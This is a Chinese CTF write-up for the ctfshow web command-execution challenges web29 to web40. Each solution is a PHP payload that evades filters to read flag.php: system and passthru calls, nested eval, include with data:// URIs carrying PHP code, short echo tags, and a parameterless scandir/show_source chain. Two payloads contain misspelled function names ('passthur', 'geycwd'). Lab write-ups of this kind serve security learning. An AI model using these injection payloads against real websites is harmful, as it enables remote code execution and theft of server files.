首页 > 其他分享 >ctfshow web入门命令执行——web29-40题解

ctfshow web入门命令执行——web29-40题解

时间:2024-10-26 09:20:59浏览次数:3  
标签:web29 web 题解 过滤 text plain php data payload

web29

1.传入c参数来进行代码执行,payload:  c=system("cat fla*.php");   如图

2.浏览器默认不显示php的标签所以需要右键查看源代码

web30

题目过滤了命令执行函数system,还可以用passthur(),过滤的字符可以用?代替单个字符。
payload:
?c=passthur("cat fla?.p?p");

查看源代码

web31

过滤了"cat sort shell"以及,点,空格,单引号这些字符串
可通过嵌套eval函数来获取另一个参数的的方法来绕过

c=eval($_GET[a]);&a=system('cat flag.php');

web32、web33、web34、web35

  • payload:
    ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
  • $_GET[1] 表示从 URL 查询字符串中获取第一个参数的值
  • data: 是数据 URI 的开头,表示这是一个内嵌的数据资源。
  • text/plain 指定了数据的 MIME 类型为纯文本。单独的 ?c=data://text/plain 并没有任何实际执行或展示数据的功能,它只是表达了数据传递的方式,需要后续指定数据内容,比如 ?c=data://text/plain,Hello World 就是传递纯文本 "Hello World"

web36

?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>

和上题一样,但这次过滤了数字,将数字改为字母即可

web37

?c=data://text/plain,<?php system("tac fla*.php")?>

web38

在上面37题的基础上增加了过滤php关键词,所以在上一期的payload中,我们使用一个没有前提条件的进行绕过,构造 payload:

c=data://text/plain,<?=system('tac fl*.*');?>

<?= 是简化的 <?php echo ... ?>

web39

 与上题一样,c=data://text/plain,<?=system('tac fl*.*');?>

看到include后面它自动给你添加了php

但是?>为php结束符号,后面拼接的.php会被忽略掉,不用管

web40

题目几乎把所有符号都过滤掉了,但是仔细一看这里过滤掉的括号是中文的括号:()

也就是说英文的括号其实是能用的:()

可以使用无参数的 payload:

show_source(next(array_reverse(scandir(geycwd()))));

getcwd() 函数返回当前工作目录

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个

show_source():查看源码

标签:web29,web,题解,过滤,text,plain,php,data,payload
From: https://blog.csdn.net/2301_80217819/article/details/143218023

相关文章

  • 【Web前端】JavaScript 对象基础
     JavaScript是一种以对象为基础的编程语言,操作数据时,实际都是在处理对象。可以使用简单的数据类型(如字符串、数字和布尔值)来实现一些功能,但深入了解JavaScript对象的运作,将使你能够编写更强大和灵活的代码。对象基础JavaScript中,对象是由一组键(或属性)和值组成的无......
  • PHP和Elixir在Web开发中的比较
    开篇直接回答问题:在Web开发中,PHP和Elixir两者都是具有特定优势的编程语言,但它们的设计哲学、性能、并发处理和生态系统各有不同。PHP以其易于学习和广泛的使用基础而广受欢迎,特别擅长于快速开发和部署传统的Web应用。而Elixir,作为一种较新的语言,提供了出色的并发处理能力和容......
  • Anaconda + Vscode 和 Anaconda + Pycharm安装操作教程以及问题解决
    1.anaconda安装2.打不开AnacondaNavigation解决办法3.如何创建虚拟环境(2种方法)4.Anaconda+vscode5.Anaconda+pycharmAnaconda+Vscode和Anaconda+Pycharm安装操作教程以及问题解决1.anaconda安装Anaconda下载地址我选的是2020,11的一个版本。还没装之前电脑是有p......
  • Codeforces Round 981 (Div. 3)A-D题解
    CodeforcesRound981(Div.3)A.SakurakoandKosukeSakurakoandKosukedecidedtoplaysomegameswithadotonacoordinateline.Thedotiscurrentlylocatedinposition\(x=0\).Theywillbetakingturns,andSakurakowillbetheonetostart.Ont......
  • [Ynoi2015] 盼君勿忘 题解
    CSP前学习珂学,祝自己\(while(1)\rp++\)。考虑求解出每种数对答案的贡献。设\(t=r-l+1,k_x=\sum\limits_{i=l}^r[a_i=x]\),由容斥得贡献为\(x(2^t-2^{t-k_x})\)。求解\(k_x\),考虑莫队,时间复杂度为\(O(n\sqrtn)\),这也是本题的复杂度上限。由于\(p\)会变,所以不能用莫......
  • 题解:P11143 「SFMOI Round I」Strange Cake Game
    题目思路考虑贪心算法。根据题意,我们可以猜出结论,在最优状态下,小W将一直向下移动,小M一定向右移动。又因为小W是先手,所以当这块巧克力的横坐标小于等于纵坐标,即\(x\ley\)时,这块巧克力才可能归小W所有。另外,本题还有某些神秘做法可得\(20-25\)分。要特别注意的是......
  • 如何在AWS上自动扩展Web应用
    摘要:AWS的自动扩展可以帮助您的Web应用根据实际使用量动态调整计算资源。这包括:1、监控流量及性能指标、2、设定弹性策略、3、配置启动模板、4、利用负载均衡器分配流量。其中,监控流量及性能指标是自动扩展的关键部分,AWS提供的CloudWatch服务能够实时监控应用程序的多个性能指标,这......
  • webRTC搭建:STUN 和 TURN 服务器 链接google的有点慢,是不是可以自己搭建
    如果使用Google提供的STUN/TURN服务器速度较慢,你完全可以自己搭建STUN和TURN服务器。这有助于提升网络连接速度和稳定性,特别是在需要穿透NAT或防火墙的网络环境下。下面是如何自己搭建STUN和TURN服务器的具体步骤:1.选择TURN/STUN服务器软件推荐使用Cot......
  • WEBRTC教程:局域网怎么调试,http://172.19.18.101:8080 ,无法访问摄像头和麦克风,请检查
    在局域网中使用WebRTC时,无法访问摄像头和麦克风通常是因为浏览器的安全策略限制了getUserMediaAPI的使用。如果你在非localhost或非HTTPS环境下访问网页,浏览器会阻止访问摄像头和麦克风。解决方案在局域网中调试WebRTC时,你有几个选项来解决这个问题:1.使用lo......
  • 【题解】A. 错排问题
    递推T1题面(可从下方链接跳转看原题题面):求多少个n个数的排列,满足对于任意的i(1≤i≤n),有Ai≠i。题目传送门序言&结论:这是一道经典的题目,可以先记一下这个结论,设f[n]表示有n个数错排f[n]=(n-1)*(f[n-1]+f[n-2])推理过程:f[n]状态的设置是显然的(无需多言)边界......